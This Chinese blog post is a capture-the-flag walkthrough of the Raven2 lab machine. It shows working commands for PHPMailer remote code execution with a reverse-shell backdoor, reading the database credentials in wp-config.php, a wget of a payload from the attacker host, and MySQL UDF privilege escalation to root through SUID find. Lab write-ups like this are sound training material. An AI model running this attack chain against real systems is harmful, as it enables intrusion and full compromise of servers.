Loading...

文章背景图

百个渗透靶场-3-Raven2

2025-09-19
4
-
- 分钟
|

PHPMailer插件,mysql UDF 提权

一.信息收集

先收集一下ip和端口信息

└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:bc:5c:d2, IPv4: 192.168.32.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.32.1    00:50:56:c0:00:08       VMware, Inc.
192.168.32.2    00:50:56:f1:d7:4e       VMware, Inc.
192.168.32.146  00:0c:29:e8:98:1a       VMware, Inc.
192.168.32.254  00:50:56:ff:3d:8c       VMware, Inc.
└─# nmap -sS -p- -sV 192.168.32.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-14 17:50 CST
Nmap scan report for 192.168.32.146 (192.168.32.146)
Host is up (0.00081s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
44335/tcp open  status  1 (RPC #100024)

目录扫描

image-20250915111320192

http://192.168.32.146/vendor/PATH

/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

http://192.168.32.146/vendor/

image-20250915111644027

在readme中显示使用了PHPMailer插件,在vision可以显示版本为5.2.16

image-20250915112113498

image-20250915112126822

二.漏洞利用

尝试查找这个版本的exp

image-20250915112650516

使用searchsploit查询是否含有这个exp

image-20250915112738805

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ~/temp

复制然后我们对这个文件进行修改配置

image-20250916112734311

41行:改下地址:http://192.168.32.146/contact.php 42行:后门名称:/vlians.php 44行:改下回弹的IP和端口 192.168.32.129 6666 47行:改下写入shell的目录:/var/www/html/vlians.php

安装相应模块pip install requests_toolbelt

运行程序 python 40974.py

image-20250915142534781

接着访问http://192.168.137.130/contact.php,就会生成后门vlians.php,然后本地用nc开启监听nc -lvp 6666

再访问vlians.php,就成功反弹了一个shell

image-20250916112958739

或者使用msf

msfconsole
search phpmailer
use 0
set RHOSTS 192.168.32.146
set TARGETURI /contact.php
run
运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的
这里是/VyzeHOKD.php

image-20250915144033823

三.提权

先获取个交互终端

python -c 'import pty;pty.spawn("/bin/bash")'

查找一下flag

find / -name flag*

image-20250916114013629

cat flag2.txt flag2{6a8ed560f0b5358ecf844108048eb337}

访问http://192.168.32.146/wordpress/wp-content/uploads/2018/11/flag3.png

flag3

因为是wordpress部署的,wordpress的wp-config.php中会包含数据库的信息wp-config.php文件存放在wordpress根目录中

cat /var/www/html/wordpress/wp-config.php

define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

ps aux | grep root ---查看mysql进程信息

root        520  0.0  0.3   4340  1628 ?        S    13:16   0:00 /bin/sh /usr/bin/mysqld_safe

dpkg -l | grep mysql --查看历史安装包版本 5.5.6

mysql是root权限运行的,那么接下来就找mysql提权的方法.

mysql UDF 提权

UDF 提权、MOF 提权是非常经典的提权方法!

mysql -uroot -pR@v3nSecurity

select version();  ---查看版本
show databases;
use wordpress
show tables;
select * from wp_users;
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.

首先看一下是否满足写入条件:

show global variables like 'secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录:

show variables like '%plugin%';

+---------------+------------------------+                                                                      
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+

查看能否远程登陆:

use mysql; select user,host from user;

+------------------+-----------+
| user             | host      |
+------------------+-----------+
| root             | 127.0.0.1 |
| root             | ::1       |
| debian-sys-maint | localhost |
| root             | localhost |
| root             | raven     |
+------------------+-----------+

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

搜索:mysql 5.x UDF exploit 或者 searchsploit udf https://www.exploit-db.com/exploits/1518

kali:
searchsploit 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c ~/temp
gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

python -m http.server 8082
靶机
cd /tmp
wget http://192.168.32.129:8082/vlians.so
mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();
进入数据库创建数据表vlians:
create table vlians(line blob);
插入数据文件:
insert into vlians values(load_file('/tmp/vlians.so'));
vlians表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from vlians into dumpfile '/usr/lib/mysql/plugin/vlians.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'vlians.so';
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
exit;
执行find命令
使用find执行 shell
touch vlians
find vlians -exec "/bin/sh" \;
或者:find vlians -exec "id" \;
cat /root/flag4.txt
  ___                   ___ ___ 
 | _ \__ ___ _____ _ _ |_ _|_ _|
 |   / _` \ V / -_) ' \ | | | | 
 |_|_\__,_|\_/\___|_||_|___|___|
                           
flag4{df2bc5e951d91581467bb9a2a8ff4425}
​


评论交流

文章目录